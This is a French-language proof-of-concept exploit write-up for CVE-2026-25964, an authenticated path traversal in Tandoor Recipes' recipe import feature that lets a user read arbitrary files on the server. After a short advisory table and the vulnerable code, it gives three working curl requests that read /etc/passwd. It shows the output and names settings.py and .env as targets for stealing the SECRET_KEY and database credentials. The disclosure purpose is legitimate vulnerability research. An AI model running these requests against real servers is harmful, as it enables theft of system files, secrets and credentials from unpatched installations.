
Preuve de concept d'exploitation pour CVE-2026-25964, une divulgation locale de fichiers authentifiée dans Tandoor Recipes via un parcours de chemin lors de l'importation de recettes, permettant la lecture arbitraire de fichiers.
Preuve de concept pour la divulgation locale de fichiers authentifiée via l'import de recettes
Divulgation : Signalé à l'origine par moi via GHSA-6485-jr28-52xx
⚠️ Usage exclusivement réservé aux tests d'intrusion/pentests autorisés et à la recherche.
| Champ | Valeur |
|---|
| ID CVE | CVE-2026-25964 |
| Sévérité | 🟡 Moyenne |
| Score CVSS | 4.9 |
| Vecteur CVSS | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N] |
| CWE | CWE-22 : Traversée de chemin, CWE-73 : Contrôle externe du nom de fichier |
| Produit affecté | Tandoor Recipes ≤ 2.5.0 |
| Version corrigée | 2.5.1 |
| Avis de sécurité | GHSA-6485-jr28-52xx |
Une vulnérabilité de traversée de chemin (CWE-22) incorrectement autorisée dans le flux de travail RecipeImport de Tandoor Recipes permet aux utilisateurs authentifiés disposant des permissions d'import de lire des fichiers arbitraires sur le serveur. Cette vulnérabilité provient d'un manque de validation des entrées dans le paramètre file_path et de contrôles insuffisants dans le backend de stockage Local, permettant à un attaquant de contourner les restrictions du répertoire de stockage et d'accéder à des fichiers système sensibles (par exemple, /etc/passwd) ou à des fichiers de configuration de l'application (par exemple, settings.py), pouvant potentiellement conduire à une compromission totale du système.
La vulnérabilité existe en raison d'une absence de validation des entrées fournies par l'utilisateur par rapport à la racine de stockage prévue de l'application.
/api/recipe-import/ permet aux utilisateurs authentifiés de créer un objet RecipeImport avec un file_path et un backend de storage arbitraires. Aucune validation n'est effectuée pour garantir que le file_path se trouve dans le répertoire de stockage configuré.Local.get_file dans cookbook/provider/local.py traite la demande de récupération de fichier :
@staticmethod
def get_file(recipe):
# VULNÉRABILITÉ : Ouvre directement le chemin spécifié dans recipe.file_path
# sans vérifier qu'il se trouve dans le répertoire racine de stockage.
file = io.BytesIO(open(recipe.file_path, 'rb').read())
return file
/etc/passwd) ou des chemins relatifs (par exemple, ../../app/config.py).Lorsqu'un objet RecipeImport est converti en Recipe via l'action import_recipe, le chemin malveillant est persisté. Un appel ultérieur à get_recipe_file déclenche l'opération de lecture vulnérable, renvoyant le contenu du fichier à l'utilisateur.
Prérequis : Un compte utilisateur authentifié avec les permissions d'importer des recettes. Par défaut, cette permission peut être restreinte, mais si elle est accordée à des rôles à privilèges réduits, l'impact augmente considérablement. Même pour les administrateurs, cela représente une violation de la frontière de sécurité, car les permissions au niveau de l'application ne devraient pas accorder un accès en lecture au niveau du système de fichiers.
Étape 1 : Créer un objet d'import malveillant
Envoyez une requête POST pour créer un objet RecipeImport pointant vers le fichier cible (par exemple, /etc/passwd).
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/" \
-b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
-H "X-CSRFToken: <CSRF_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"name": "Admin_LFD_Final",
"file_path": "/etc/passwd",
"storage": 1,
"space": 1
}'
(Remarque : storage: 1 correspond généralement au stockage local par défaut. Ajustez si nécessaire.)

Étape 2 : Convertir l'import en recette
Déclenchez le processus d'import pour créer un objet Recipe persistant. Notez l'import_id (par exemple, 4) renvoyé à l'étape 1.
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/<IMPORT_ID>/import_recipe/" \
-b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
-H "X-CSRFToken: <CSRF_TOKEN>" \
-H "Content-Type: application/json" \
-H "Content-Length: 0"
(Remplacez <IMPORT_ID> par l'ID de la réponse de l'étape 1. Cette requête renverra le nouveau recipe_id (par exemple, 34)

Étape 3 : Télécharger le fichier arbitraire
Accédez au fichier via le point de terminaison du fichier de recette en utilisant le nouvel id de recette renvoyé à l'étape 2 (par exemple, 34).
curl -X GET "http://<TARGET_IP>:8081/api/get_recipe_file/<RECIPE_ID>/" \
-b "sessionid=<SESSION_ID>"
Résultat : Le serveur renvoie le contenu de /etc/passwd, confirmant la vulnérabilité LFD.
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...

/etc/passwd permet l'énumération des utilisateurs du système./opt/recipes/recipes/settings.py (confirmé lors des tests) ou .env. Cela expose la SECRET_KEY (permettant la falsification de session) et les identifiants de base de données (permettant un accès direct à la base de données).